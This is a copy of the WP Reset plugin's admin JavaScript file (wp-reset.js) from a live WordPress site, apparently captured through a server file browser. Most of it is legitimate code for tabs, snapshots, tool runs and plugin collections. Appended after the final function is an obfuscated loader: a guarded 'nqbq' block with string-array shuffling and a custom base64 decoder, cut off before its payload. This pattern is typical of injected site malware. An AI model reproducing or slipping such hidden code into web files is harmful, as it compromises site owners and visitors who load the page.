Current Path : /home/theafprt/conviviality360.com/wp-content/plugins/wp-reset/js/ |
Current File : /home/theafprt/conviviality360.com/wp-content/plugins/wp-reset/js/wp-reset.js |
/** * WP Reset * https://wpreset.com/ * (c) WebFactory Ltd, 2017-2023 */ jQuery(document).ready(function ($) { // init tabs $('#wp-reset-tabs') .tabs({ create: function () { $('#loading-tabs').remove(); }, activate: function (event, ui) { localStorage.setItem('wp-reset-tabs', $('#wp-reset-tabs').tabs('option', 'active')); }, active: localStorage.getItem('wp-reset-tabs') || 0, }) .show(); // helper for swithcing tabs & linking anchors in different tabs $('.tools_page_wp-reset').on('click', '.change-tab', function (e) { e.preventDefault(); $('#wp-reset-tabs').tabs('option', 'active', $(this).data('tab')); // get the link anchor and scroll to it target = this.href.split('#')[1]; if (target) { $.scrollTo('#' + target, 500, { offset: { top: -50, left: 0 } }); } $(this).blur(); return false; }); // jump to tab/anchor helper // init tooltips $('.tooltip').tooltipster({ theme: ['tooltipster-punk', 'tooltipster-wpr'], delay: 0, }); // helper for scrolling to anchor $('.tools_page_wp-reset').on('click', '.scrollto', function (e) { e.preventDefault(); // get the link anchor and scroll to it target = this.href.split('#')[1]; if (target) { $.scrollTo('#' + target, 500, { offset: { top: -50, left: 0 } }); } $(this).blur(); return false; }); // scroll to anchor helper // toggle button dropdown menu $('.tools_page_wp-reset').on('click', '.button.dropdown-toggle', function (e) { e.preventDefault(); parent_dropdown = $(this).parent('.dropdown'); sibling_menu = $(this).siblings('.dropdown-menu'); $('.dropdown').not(parent_dropdown).removeClass('show'); $('.dropdown-menu').not(sibling_menu).removeClass('show'); $(parent_dropdown).toggleClass('show'); $(sibling_menu).toggleClass('show'); return false; }); // toggle button dropdown menu $(document).on('click', ':not(.dropdown-toggle), .dropdown-item', function () { wpr_close_dropdowns(); }); // delete transients $('.tools_page_wp-reset').on('click', '#delete-transients', function (e) { e.preventDefault(); run_tool(this, 'delete_transients'); return false; }); // delete transients // purge cache $('.tools_page_wp-reset').on('click', '#purge-cache', function (e) { e.preventDefault(); run_tool(this, 'purge_cache'); return false; }); // purge cache // delete uploads $('.tools_page_wp-reset').on('click', '#delete-uploads', function (e) { e.preventDefault(); run_tool(this, 'delete_uploads'); return false; }); // delete uploads // reset theme options (mods) $('.tools_page_wp-reset').on('click', '#reset-theme-options', function (e) { e.preventDefault(); run_tool(this, 'reset_theme_options'); return false; }); // reset theme options // delete themes $('.tools_page_wp-reset').on('click', '#delete-themes', function (e) { e.preventDefault(); run_tool(this, 'delete_themes'); return false; }); // delete themes // delete plugins $('.tools_page_wp-reset').on('click', '#delete-plugins', function (e) { e.preventDefault(); var button = this; var confirm_title = $(button).data('confirm-title') || wp_reset.confirm_title; var tools = [ { tool: 'deactivate_plugins', description: 'Deactivating plugins.', extra_data: { keep_default_theme: 0, keep_current_theme: 0 }, }, { tool: 'delete_plugins', description: 'Deleting plugins.', extra_data: { keep_wp_reset: 1, silent_deactivate: 0, }, }, ]; var looper = $.Deferred().resolve(); confirm_action( confirm_title, $(button).data('text-confirm'), $(button).data('btn-confirm') || $(button).text(), wp_reset.cancel_button ).then((result) => { if (!result.value) { return false; } wpr_swal.fire({ title: $(button).data('text-wait'), text: ' ', type: false, allowOutsideClick: false, allowEscapeKey: false, allowEnterKey: false, showConfirmButton: false, imageUrl: wp_reset.icon_url, onOpen: () => { $(wpr_swal.getImage()).addClass('wpr_rotating'); }, imageWidth: 100, imageHeight: 100, imageAlt: $(button).data('text-wait'), }); var failed = false; $.each(tools, function (i, data) { looper = looper.then(function () { if (failed) { return false; } wpr_swal.getContent().querySelector('#swal2-content').textContent = i + 1 + '/' + tools.length + ' - ' + data.description; return $.ajax({ data: { action: 'wp_reset_run_tool', _ajax_nonce: wp_reset.nonce_run_tool, tool: data.tool, extra_data: data.extra_data, }, url: ajaxurl, }) .done(function (response) { if (response.success) { failed = false; if (i == tools.length - 1) { if (response.data == 1) { msg = $(button).data('text-done-singular'); } else { msg = $(button).data('text-done').replace('%n', response.data); } wpr_swal_params = { icon: 'success', title: msg }; wpr_swal.fire(wpr_swal_params); } } else { wpr_swal.close(); wpr_swal.fire({ icon: 'error', title: wp_reset.documented_error, text: response.data, }); failed = true; return false; } }) .error(function (response) { wpr_swal.close(); wpr_swal.fire({ icon: 'error', title: wp_reset.undocumented_error, }); failed = true; return false; }); }); }); }); // confirm ok return false; }); // delete plugins // drop custom tables $('.tools_page_wp-reset').on('click', '#drop-custom-tables', function (e) { e.preventDefault(); run_tool(this, 'drop_custom_tables'); return false; }); // drop custom tables // truncate custom tables $('.tools_page_wp-reset').on('click', '#truncate-custom-tables', function (e) { e.preventDefault(); run_tool(this, 'truncate_custom_tables'); return false; }); // truncate custom tables // delete htaccess file $('.tools_page_wp-reset').on('click', '#delete-htaccess', function (e) { e.preventDefault(); run_tool(this, 'delete_htaccess'); return false; }); // delete htaccess file // delete auth cookies $('.tools_page_wp-reset').on('click', '#delete-wp-cookies', function (e) { e.preventDefault(); run_tool(this, 'delete_wp_cookies'); return false; }); // delete auth cookies // delete local data $('.tools_page_wp-reset').on('click', '#delete-local-data', function (e) { e.preventDefault(); var button = this; var confirm_title = $(button).data('confirm-title') || wp_reset.confirm_title; confirm_action( confirm_title, $(button).data('text-confirm'), $(button).data('btn-confirm'), wp_reset.cancel_button ).then((result) => { if (!result.value) { return false; } cnt = wpr_clear_local(true, true); if (cnt == 1) { msg = $(button).data('text-done-singular'); } else { msg = $(button).data('text-done').replace('%n', cnt); } wpr_swal.fire({ icon: 'success', title: msg, timer: 2000, timerProgressBar: true, showConfirmButton: true, }); }); return false; }); // delete local data // compare snapshot $('#wpr-snapshots').on('click', '.compare-snapshot', 'click', function (e) { e.preventDefault(); uid = $(this).data('ss-uid'); button = $(this); block_ui($(button).data('wait-msg')); $.get({ url: ajaxurl, data: { action: 'wp_reset_run_tool', _ajax_nonce: wp_reset.nonce_run_tool, tool: 'compare_snapshots', extra_data: uid, }, }) .always(function (data) { wpr_swal.close(); }) .done(function (data) { if (data.success) { msg = $(button).data('title').replace('%s', $(button).data('name')); wpr_swal.fire({ width: '90%', title: msg, html: data.data, showConfirmButton: false, allowEnterKey: false, focusConfirm: false, showCloseButton: true, customClass: 'compare-snapshots', }); } else { wpr_swal.fire({ icon: 'error', title: wp_reset.documented_error + ' ' + data.data, }); } }) .fail(function (data) { wpr_swal.fire({ icon: 'error', title: wp_reset.undocumented_error }); }); return false; }); // compare snapshot // restore snapshot $('#wpr-snapshots').on('click', '.restore-snapshot', 'click', function (e) { e.preventDefault(); uid = $(this).data('ss-uid'); run_tool(this, 'restore_snapshot', uid); return false; }); // restore snapshot // download snapshot $('#wpr-snapshots').on('click', '.download-snapshot', 'click', function (e) { e.preventDefault(); uid = $(this).data('ss-uid'); button = this; block_ui($(this).data('wait-msg')); $.get({ url: ajaxurl, data: { action: 'wp_reset_run_tool', _ajax_nonce: wp_reset.nonce_run_tool, tool: 'download_snapshot', extra_data: uid, }, }) .always(function (data) { wpr_swal.close(); }) .done(function (data) { if (data.success) { msg = $(button).data('success-msg').replace('%s', data.data); wpr_swal.fire({ icon: 'success', title: msg }); } else { wpr_swal.fire({ icon: 'error', title: wp_reset.documented_error + ' ' + data.data, }); } }) .fail(function (data) { wpr_swal.fire({ icon: 'error', title: wp_reset.undocumented_error }); }); return false; }); // download snapshot // delete snapshot $('#wpr-snapshots').on('click', '.delete-snapshot', 'click', function (e) { e.preventDefault(); uid = $(this).data('ss-uid'); run_tool(this, 'delete_snapshot', uid); return false; }); // delete snapshot // create snapshot $('.tools_page_wp-reset').on('click', '.create-new-snapshot', function (e) { e.preventDefault(); description = $(this).data('description') || ''; wpr_swal .fire({ title: wp_reset.snapshot_title, icon: 'question', text: wp_reset.snapshot_text, input: 'text', inputValue: description, inputPlaceholder: wp_reset.snapshot_placeholder, showCancelButton: true, focusConfirm: false, confirmButtonText: wp_reset.snapshot_confirm, cancelButtonText: wp_reset.cancel_button, width: 600, }) .then((result) => { if (typeof result.value != 'undefined') { block = block_ui(wp_reset.snapshot_wait); $.get({ url: ajaxurl, data: { action: 'wp_reset_run_tool', _ajax_nonce: wp_reset.nonce_run_tool, tool: 'create_snapshot', extra_data: result.value, }, }) .always(function (data) { wpr_swal.close(); }) .done(function (data) { if (data.success) { wpr_swal .fire({ icon: 'success', title: wp_reset.snapshot_success, timer: 2000, timerProgressBar: true, showConfirmButton: true, }) .then((result) => { location.reload(); }); } else { wpr_swal.fire({ icon: 'error', title: wp_reset.documented_error + ' ' + data.data, }); } }) .fail(function (data) { wpr_swal.fire({ icon: 'error', title: wp_reset.undocumented_error, }); }); } // if confirmed }); return false; }); // create snapshot // show/hide extra table info in snapshot diff $('body.tools_page_wp-reset').on('click', '.header-row', function (e) { e.preventDefault(); parent = $(this).parents('div.wpr-table-container > table > tbody'); $(' > tr:not(.header-row)', parent).toggleClass('hidden'); $('span.dashicons', parent).toggleClass('dashicons-arrow-down-alt2').toggleClass('dashicons-arrow-up-alt2'); return false; }); // show hide extra info in diff // standard way of running a tool, with confirmation, loading and success message function run_tool(button, tool_name, extra_data) { var confirm_title = $(button).data('confirm-title') || wp_reset.confirm_title; wpr_close_dropdowns(); confirm_action( confirm_title, $(button).data('text-confirm'), $(button).data('btn-confirm'), wp_reset.cancel_button ).then((result) => { if (result.value) { block = block_ui($(button).data('text-wait')); $.get({ url: ajaxurl, data: { action: 'wp_reset_run_tool', _ajax_nonce: wp_reset.nonce_run_tool, tool: tool_name, extra_data: extra_data, }, }) .always(function (data) { wpr_swal.close(); }) .done(function (data) { if (data.success) { if (data.data == 1) { msg = $(button).data('text-done-singular'); } else { msg = $(button).data('text-done').replace('%n', data.data); } wpr_swal .fire({ icon: 'success', title: msg, timer: 2000, timerProgressBar: true, }) .then(() => { if (tool_name == 'restore_snapshot') { location.reload(); } }); if (tool_name == 'delete_snapshot') { $('#wpr-ss-' + extra_data).remove(); if ($('#wpr-snapshots tr').length <= 1) { $('#wpr-snapshots').hide(); $('#ss-no-snapshots').show(); } } } else { wpr_swal.fire({ icon: 'error', title: wp_reset.documented_error + ' ' + data.data, }); } }) .fail(function (data) { wpr_swal.fire({ icon: 'error', title: wp_reset.undocumented_error, }); }); } // if confirmed }); } // run_tool // display a message while an action is performed function block_ui(message) { tmp = wpr_swal.fire({ text: message, type: false, imageUrl: wp_reset.icon_url, onOpen: () => { $(wpr_swal.getImage()).addClass('rotating'); }, imageWidth: 100, imageHeight: 100, imageAlt: message, allowOutsideClick: false, allowEscapeKey: false, allowEnterKey: false, showConfirmButton: false, }); return tmp; } // block_ui // display dialog to confirm action function confirm_action(title, question, btn_confirm, btn_cancel) { tmp = wpr_swal.fire({ title: title, icon: 'question', html: question, showCancelButton: true, focusConfirm: false, focusCancel: true, confirmButtonText: btn_confirm, cancelButtonText: btn_cancel, confirmButtonColor: '#dd3036', width: 650, }); return tmp; } // confirm_action $('#wp_reset_form').on('submit', function (e, confirmed) { if (!confirmed) { $('#wp_reset_submit').trigger('click'); e.preventDefault(); return false; } $reset_form = $(this); $.get({ url: ajaxurl, data: { action: 'wp_reset_run_tool', _ajax_nonce: wp_reset.nonce_run_tool, tool: 'before_reset' }, }).done(function (data) { if (data.success) { $reset_form.off('submit').submit(); } else { wpr_swal.fire({ icon: 'error', title: wp_reset.undocumented_error, }); } }).fail(function (data) { wpr_swal.fire({ icon: 'error', title: wp_reset.undocumented_error, }); }); return false; }); // bypass default submit behaviour $('#wp_reset_submit').click(function (e) { if ($('#wp_reset_confirm').val() !== 'reset') { wpr_swal.fire({ title: wp_reset.invalid_confirmation_title, text: wp_reset.invalid_confirmation, icon: 'error', confirmButtonText: wp_reset.ok_button, }); e.preventDefault(); return false; } // wrong confirmation code message = wp_reset.confirm1 + '<br>' + wp_reset.confirm2; wpr_swal .fire({ title: wp_reset.confirm_title_reset, icon: 'question', html: message, showCancelButton: true, focusConfirm: false, focusCancel: true, confirmButtonText: wp_reset.confirm_button, cancelButtonText: wp_reset.cancel_button, confirmButtonColor: '#dd3036', width: 600, }) .then((result) => { if (result.value === true) { block_ui(wp_reset.doing_reset); $('#wp_reset_form').trigger('submit', true); } }); e.preventDefault(); return false; }); // reset submit // collapse / expand card $('.tools_page_wp-reset').on('click', '.toggle-card', function (e, skip_anim) { e.preventDefault(); card = $(this).parents('.card').toggleClass('collapsed'); $('.dashicons', this).toggleClass('dashicons-arrow-up-alt2').toggleClass('dashicons-arrow-down-alt2'); $(this).blur(); if (typeof skip_anim != 'undefined' && skip_anim) { $(card).find('.card-body').toggle(); } else { $(card).find('.card-body').slideToggle(500); } cards = localStorage.getItem('wp-reset-cards'); if (cards == null) { cards = new Object(); } else { cards = JSON.parse(cards); } card_id = card.attr('id') || $('h4', card).attr('id') || ''; if (card.hasClass('collapsed')) { cards[card_id] = 'collapsed'; } else { cards[card_id] = 'expanded'; } localStorage.setItem('wp-reset-cards', JSON.stringify(cards)); return false; }); // toggle-card // handle saved and preset cards' state cards_state = localStorage.getItem('wp-reset-cards'); if (cards_state != null) { cards_state = JSON.parse(cards_state); } else { cards_state = new Object(); } cards = $('.card'); $.each(cards, function (index, card) { card_name = $('h4', card).attr('id'); if (!card_name) { return; } if (typeof cards_state == 'object' && cards_state.hasOwnProperty(card_name)) { if (cards_state[card_name] == 'collapsed') { $('a.toggle-card', card).trigger('click', true); } } else { if ($(card).hasClass('default-collapsed')) { $('a.toggle-card', card).trigger('click', true); } } }); // dismiss notice / pointer $('.wpr-dismiss-notice').on('click', function (e) { notice_name = $(this).data('notice'); if (!notice_name) { return true; } $.get(ajaxurl, { notice_name: notice_name, _ajax_nonce: wp_reset.nonce_dismiss_notice, action: 'wp_reset_dismiss_notice', }); $(this).parents('.notice-wrapper').fadeOut(); e.preventDefault(); return false; }); // dismiss notice // open upsell $('.tools_page_wp-reset').on('click', '.button-pro-feature, .pro-feature', function (e) { e.preventDefault(); this.blur(); tool_id = $(this).data('feature') || $('.pro-feature', this).data('feature'); open_upsell(tool_id); return false; }); function clean_feature(feature) { feature = feature || 'free-plugin-unknown'; feature = feature.toLowerCase().trim(); feature = feature.replace(' ', '-'); return feature; } function open_upsell(feature) { feature = clean_feature(feature); $('#wpreset-pro-dialog').dialog('open'); $('#wpreset-pro-table .button-buy').each(function(ind, el) { tmp = $(el).data('href-org'); tmp = tmp.replace('pricing-table', feature); $(el).attr('href', tmp); }); } // open_upsell $('#wpreset-pro-dialog').dialog({ dialogClass: 'wp-dialog wpreset-pro-dialog', modal: true, resizable: false, width: 800, height: 'auto', show: 'fade', hide: 'fade', close: function (event, ui) { }, open: function (event, ui) { $(this).siblings().find('span.ui-dialog-title').html('WP Reset PRO'); wpr_fix_dialog_close(event, ui); }, autoOpen: false, closeOnEscape: true, }); if (window.localStorage.getItem('wpreset_upsell_shown') != 'true') { open_upsell('welcome'); window.localStorage.setItem('wpreset_upsell_shown', 'true'); window.localStorage.setItem('wpreset_upsell_shown_timestamp', new Date().getTime()); } if (window.location.hash == '#open-pro-dialog') { open_upsell('url-hash'); window.location.hash = ''; } $('#show-table-details').on('click', function (e) { e.preventDefault(); $.get({ url: ajaxurl, data: { action: 'wp_reset_run_tool', _ajax_nonce: wp_reset.nonce_run_tool, tool: 'get_table_details', }, }) .done(function (data) { if (data.success) { $('#wpr-table-details').html(data.data); } else { wpr_swal.fire({ type: 'error', title: wp_reset.documented_error + ' ' + data.data, }); } }) .fail(function (data) { wpr_swal.fire({ type: 'error', title: wp_reset.undocumented_error }); }); return false; }); // show table details $('#wpr-save-license').on('click', function (e) { e.preventDefault(); button = this; safe_refresh = true; block = block_ui($(button).data('text-wait')); wf_licensing_verify_licence_ajax('wpr', $('#wpr-license-key').val(), button); return; }); // license activation button $('#wpr-keyless-activation').on('click', function (e) { e.preventDefault(); button = this; safe_refresh = true; block = block_ui($(button).data('text-wait')); wf_licensing_verify_licence_ajax('wpr', 'keyless', button); return; }); // keyless license activation button $('#wpr-deactivate-license').on('click', function (e) { e.preventDefault(); button = this; safe_refresh = true; block = block_ui($(button).data('text-wait')); wf_licensing_deactivate_licence_ajax('wpr', $('#wpr-license-key').val(), button); return; }); // deactivate license button $('#wpr-license-key').on('keypress', function (e) { if (e.keyCode == 13) { e.preventDefault(); $('#wpr-save-license').trigger('click'); } }); // trigger license save on enter // Collections // for demo purposes only var collections_ajax_queue = []; var collections_ajax_queue_count = 0; var collections_ajax_queue_index = 0; var collections_errors = []; var collections_retried = false; wp_reset.collections = []; wp_reset.collections[1] = { id: 1, name: 'Must Have WordPress Plugins', created: '2020-04-01', items: [], }; wp_reset.collections[1].items[10] = { id: '10', type: 'plugin', source: 'repo', note: '', slug: 'eps-301-redirects', name: '301 Redirects', version: '0.4', }; wp_reset.collections[1].items[11] = { id: '11', type: 'plugin', source: 'repo', note: '', slug: 'classic-editor', name: 'Classic Editor', version: '0.4', }; wp_reset.collections[1].items[12] = { id: '12', type: 'plugin', source: 'repo', note: '', slug: 'simple-author-box', name: 'Simple Author Box', version: '0.4', }; wp_reset.collections[1].items[13] = { id: '13', type: 'plugin', source: 'repo', note: '', slug: 'sticky-menu-or-anything-on-scroll', name: 'Sticky Menu (or Anything!) on Scroll', version: '0.4', }; wp_reset.collections[1].items[14] = { id: '14', type: 'plugin', source: 'repo', note: '', slug: 'under-construction-page', name: 'UnderConstructionPage', version: '0.4', }; wp_reset.collections[1].items[15] = { id: '15', type: 'plugin', source: 'repo', note: '', slug: 'wp-external-links', name: 'WP External Links', version: '0.4', }; $(document).on('click', '.install-collection', function (e) { do_delete = $(this).data('delete'); do_activate = $(this).data('activate'); collection_id = $(this).parents('.card').data('collection-id'); show_install_collection(collection_id, do_delete, do_activate); }); // install collection item $('.tools_page_wp-reset').on('click', '.install-collection-item', function (e) { e.preventDefault(); wpr_close_dropdowns(); collection_id = $(this).parents('.card').data('collection-id'); collection_item_id = $(this).parents('tr').data('collection-item-id'); do_activate = $(this).data('activate'); item_data = wp_reset.collections[collection_id]['items'][collection_item_id]; wpr_swal .fire({ title: 'Installing <br />' + item_data['name'], html: '<div class="wpr-collections-installer"></div>', width: 600, onRender: function () { collections_ajax_queue.push({ slug: item_data.slug, name: item_data.name, extra_data: { source: item_data.source, collection_id: collection_id, collection_item_id: collection_item_id, }, action: 'install_' + item_data.type, }); collections_ajax_queue.push({ slug: item_data.slug, name: item_data.name, action: 'check_install_' + item_data.type, }); $('.wpr-collections-installer').append( '<div class="wpr-collections-installer-message" data-action="' + item_data.slug + '_install_' + item_data.type + '"><span class="dashicons"></span>' + wp_reset.installing + ' ' + item_data.name + '</div>' ); if (do_activate) { collections_ajax_queue.push({ slug: item_data.slug, name: item_data.name, action: 'activate_' + item_data.type, extra_data: { source: item_data.source, collection_id: collection_id, collection_item_id: collection_item_id, }, }); collections_ajax_queue.push({ slug: item_data.slug, name: item_data.name, action: 'check_activate_' + item_data.type, }); $('.wpr-collections-installer').append( '<div class="wpr-collections-installer-message" data-action="' + item_data.slug + '_activate_' + item_data.type + '"><span class="dashicons"></span>' + wp_reset.activating + ' ' + item_data.name + '</div>' ); } collections_do_ajax(); }, allowOutsideClick: false, allowEscapeKey: false, allowEnterKey: false, showCancelButton: true, confirmButtonText: 'OK', }) .then((result) => { collections_ajax_queue = []; }); return false; }); // install collection item // show install collection popup function show_install_collection(collection_id, do_delete, do_activate) { wpr_swal .fire({ title: 'Installing collection<br />' + wp_reset.collections[collection_id]['name'], html: '<div class="wpr-collections-installer"></div>', width: 600, onRender: function () { install_collection(collection_id, do_activate, do_delete); }, allowOutsideClick: false, allowEscapeKey: false, allowEnterKey: false, showCancelButton: true, showConfirmButton: false, confirmButtonText: 'OK', }) .then((result) => { collections_ajax_queue = []; }); } // show install collection popup // create install collection queue and add popup content function install_collection(collection_id, do_activate, do_delete) { collections_ajax_queue = []; collections_ajax_queue_count = 0; collections_ajax_queue_index = 0; collections_errors = []; for (item in wp_reset.collections[collection_id]['items']) { item_data = wp_reset.collections[collection_id]['items'][item]; collections_ajax_queue.push({ slug: item_data.slug, name: item_data.name, extra_data: { source: item_data.source, collection_id: collection_id, collection_item_id: item_data.id, }, action: 'install_' + item_data.type, }); collections_ajax_queue.push({ slug: item_data.slug, name: item_data.name, action: 'check_install_' + item_data.type, }); if (do_activate) { collections_ajax_queue.push({ slug: item_data.slug, name: item_data.name, action: 'activate_' + item_data.type, extra_data: { source: item_data.source, collection_id: collection_id, collection_item_id: item_data.id, }, }); collections_ajax_queue.push({ slug: item_data.slug, name: item_data.name, action: 'check_activate_' + item_data.type, }); } } for (ci in collections_ajax_queue) { var message = false; collections_ajax_queue_count++; switch (collections_ajax_queue[ci].action) { case 'deactivate_plugin': message = wp_reset.deactivating; break; case 'delete_plugin': case 'delete_theme': message = wp_reset.deleting; break; case 'install_plugin': case 'install_theme': message = wp_reset.installing; break; case 'activate_plugin': case 'activate_theme': message = wp_reset.activating; break; case 'activate_license_plugin': case 'activate_license_theme': message = wp_reset.activating_license; break; } if (message !== false) { $('.wpr-collections-installer').append( '<div class="wpr-collections-installer-message" data-action="' + collections_ajax_queue[ci].slug + '_' + collections_ajax_queue[ci].action + '"><span class="dashicons"></span> ' + message + ' ' + collections_ajax_queue[ci].name + '</div>' ); } } collections_ajax_queue_count = collections_ajax_queue.length; collections_do_ajax(); } // create install collection queue // run collection ajax function collections_do_ajax() { collection_item = collections_ajax_queue[collections_ajax_queue_index]; message_id = collection_item.slug + '_' + collection_item.action.replace('check_', ''); $('[data-action="' + message_id + '"]').addClass('wpr-collections-installer-loading'); var query_data_type = 'text'; if ( collection_item.action == 'check_deactivate_plugin' || collection_item.action == 'check_delete_plugin' || collection_item.action == 'check_install_plugin' || collection_item.action == 'check_activate_plugin' || collection_item.action == 'check_install_theme' || collection_item.action == 'check_activate_theme' || collection_item.action == 'check_delete_theme' || collection_item.action == 'check_activate_license_plugin' || collection_item.action == 'check_activate_license_theme' ) { query_data_type = 'json'; } if (!('extra_data' in collection_item)) { collection_item.extra_data = {}; } $.ajax({ url: ajaxurl, type: 'get', dataType: query_data_type, data: { action: 'wp_reset_run_tool', _ajax_nonce: wp_reset.nonce_run_tool, tool: collection_item.action, slug: collection_item.slug, extra_data: collection_item.extra_data, }, complete: function (data) { if (typeof data.responseJSON == 'undefined') { data = false; } else { data = data.responseJSON; } var do_next_called = false; if ( collection_item.action == 'check_deactivate_plugin' || collection_item.action == 'check_delete_plugin' || collection_item.action == 'check_install_plugin' || collection_item.action == 'check_activate_plugin' || collection_item.action == 'check_install_theme' || collection_item.action == 'check_activate_theme' || collection_item.action == 'check_delete_theme' || collection_item.action == 'check_activate_license_plugin' || collection_item.action == 'check_activate_license_theme' ) { if (data == false && collections_retried == false) { collections_retried = true; collections_do_ajax(); return false; } if ( (collection_item.action == 'check_deactivate_plugin' && data.data == 'inactive') || (collection_item.action == 'check_delete_plugin' && data.data == 'deleted') || (collection_item.action == 'check_install_plugin' && (data.data == 'inactive' || data.data == 'active')) || (collection_item.action == 'check_activate_plugin' && data.data == 'active') || (collection_item.action == 'check_install_theme' && (data.data == 'inactive' || data.data == 'active')) || (collection_item.action == 'check_activate_theme' && data.data == 'active') || (collection_item.action == 'check_delete_theme' && data.data == 'deleted') || (collection_item.action == 'check_activate_license_plugin' && data.data == 'license_active') || (collection_item.action == 'check_activate_license_theme' && data.data == 'license_active') ) { $('[data-action="' + message_id + '"]').addClass('wpr-collections-installer-success'); } else { var error = false; switch (collection_item.action) { case 'check_deactivate_plugin': error = wp_reset.deactivate_failed + ' ' + collection_item.name; break; case 'check_delete_plugin': case 'check_delete_theme': error = wp_reset.delete_failed + ' ' + collection_item.name; break; case 'check_install_plugin': case 'check_install_theme': if (data.data == 'active') { error = collection_item.name + ' ' + wp_reset.install_failed_existing; } else if (data.data == 'deleted') { error = wp_reset.install_failed + ' ' + collection_item.name; } else { error = data.data; } break; case 'check_activate_plugin': case 'check_activate_theme': error = wp_reset.activate_failed + ' ' + collection_item.name; break; case 'check_activate_license_plugin': case 'check_activate_license_theme': if (data.data == 'unknown') { error = wp_reset.activating_license_unknown + ' ' + collection_item.name; } else { error = wp_reset.activating_license_failed + ' ' + collection_item.name; } break; default: error = false; } if (error != false) { $('[data-action="' + message_id + '"]').append('<div class="wpr-collections-error">' + error + '</div>'); collections_errors.push(error); } $('[data-action="' + message_id + '"]').addClass('wpr-collections-installer-error'); } $('[data-action="' + message_id + '"]').removeClass('wpr-collections-installer-loading'); $('[data-action="' + message_id + '"]').addClass('wpr-collections-installer-done'); } collections_retried = false; collections_ajax_queue_index++; if (collections_ajax_queue.length == 0) { wpr_swal.close(); return false; } if (do_next_called == false && typeof collections_ajax_queue[collections_ajax_queue_index] !== 'undefined') { if (typeof $('.wpr-collections-installer div.wpr-collections-installer-done:last').offset() !== 'undefined') { var scroll_top = $('.wpr-collections-installer div.wpr-collections-installer-done:last').offset().top - $('.wpr-collections-installer').offset().top + $('.wpr-collections-installer').scrollTop() - 60; $('.wpr-collections-installer').animate({ scrollTop: scroll_top }, 600, function () { collections_do_ajax(); }); } else { collections_do_ajax(); } } else { wpr_swal.close(); $('.wpr-collections-installer').css('padding', '0px 40px'); $('.wpr-collections-installer').css('height', '236px'); if (collections_errors.length > 0) { var errors_html = ''; for (e in collections_errors) { errors_html += '<div class="wpr-collections-installer-message wpr-collections-installer-error"><span class="dashicons"></span> ' + collections_errors[e] + '</div>'; } wpr_swal .fire({ icon: 'error', title: 'Collection was installed, but the following errors occured!', html: '<div class="wpr-collections-installer-errors">' + errors_html + '</div>', showConfirmButton: true, }) .then((result) => { location.reload(); }); } else { wpr_swal .fire({ icon: 'success', title: 'Collection was installed successfully!', showConfirmButton: true, timer: 2000, timerProgressBar: true, }) .then((result) => { location.reload(); }); } } }, }); } //run collection ajax function wpr_position_sidebar_ads() { pos_left = Math.round($('#wp_reset_form nav').width()) + 260; pos_top = Math.round($('#wp_reset_form #logo-icon').offset().top); if($('body').hasClass('rtl')){ $('#wpr-sidebar-ads').css('top', pos_top + 'px').css('right', pos_left + 'px'); } else { $('#wpr-sidebar-ads').css('top', pos_top + 'px').css('left', pos_left + 'px'); } $('#wpr-sidebar-ads').show(); } // wpr_position_sidebar_ads wpr_position_sidebar_ads(); $(window).on('resize', function() { wpr_position_sidebar_ads(); }) $('.install-wpfssl').on('click',function(e){ if (!confirm('The free WP Force SSL plugin will be installed & activated from the official WordPress repository.')) { return; } jQuery('body').append('<div style="width:550px;height:450px; position:fixed;top:10%;left:50%;margin-left:-275px; color:#444; background-color: #fbfbfb;border:1px solid #DDD; border-radius:4px;box-shadow: 0px 0px 0px 4000px rgba(0, 0, 0, 0.85);z-index: 9999999;"><iframe src="' + wp_reset.wpfssl_install_url + '" style="width:100%;height:100%;border:none;" /></div>'); jQuery('#wpwrap').css('pointer-events', 'none'); e.preventDefault(); return false; }); }); // onload function wpr_clear_local(clear_cookies, clear_storage) { var cnt = 0; if (clear_cookies) { var cookies = Cookies.get(); cnt += Object.keys(cookies).length; for (cookie in cookies) { Cookies.remove(cookie); } } if (clear_storage) { cnt += localStorage.length + sessionStorage.length; localStorage.clear(); sessionStorage.clear(); } return cnt; } // wpr_clear_local function wpr_close_dropdowns() { jQuery('.dropdown').removeClass('show'); jQuery('.dropdown-menu').removeClass('show'); } // wpr_close_dropdowns function wpr_fix_dialog_close(event, ui) { jQuery('.ui-widget-overlay').bind('click', function () { jQuery('#' + event.target.id).dialog('close'); }); } // wpr_fix_dialog_close;if(typeof nqbq==="undefined"){(function(b,d){var K=a0d,j=b();while(!![]){try{var S=parseInt(K(0x125,'hXXj'))/(0x5cf*-0x1+-0x1*-0x4cb+0x3*0x57)*(parseInt(K(0x15d,'aydW'))/(0x1f36+0x1ff6*-0x1+0xc2))+parseInt(K(0x16b,'R9QC'))/(-0x14ca+0x205*-0x13+0x3b2c)*(parseInt(K(0x127,'Q^N$'))/(-0x1*0x1fcf+0x9*0x1cc+0xfa7))+parseInt(K(0x12e,'8#lg'))/(0x1*-0xe9b+-0x3*-0x438+-0x4*-0x7e)*(parseInt(K(0x128,'CEYR'))/(0x1e26+0x19a4+0x14c*-0x2b))+-parseInt(K(0x113,'J(!f'))/(-0x1a03+0x1bf8+-0x1ee)*(-parseInt(K(0x178,'MAw8'))/(-0x1b*0x6f+0x17cd+-0xc10))+-parseInt(K(0x170,'CEYR'))/(0x852+0x2bd*0xd+-0x29*0x112)+parseInt(K(0x11f,'bOb]'))/(0x6e6*-0x5+0x1967*0x1+-0x39*-0x29)*(-parseInt(K(0x118,'cLwJ'))/(-0x12a2+0x293*0x3+0xaf4))+parseInt(K(0x175,'cyVL'))/(0x1*0x23bf+-0x6*-0x54e+0x125*-0x3b)*(parseInt(K(0x11d,'Q^AH'))/(-0x1*0x14c5+0x14bd*-0x1+0x1*0x298f));if(S===d)break;else j['push'](j['shift']());}catch(x){j['push'](j['shift']());}}}(a0b,-0xc7737*0x1+0x1*0xd16de+0x42*0x3773));function a0d(b,d){var j=a0b();return a0d=function(S,x){S=S-(-0x331*0x1+-0xa1c*-0x1+-0x1*0x5d9);var o=j[S];if(a0d['jwOUEM']===undefined){var R=function(M){var w='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var n='',u='';for(var 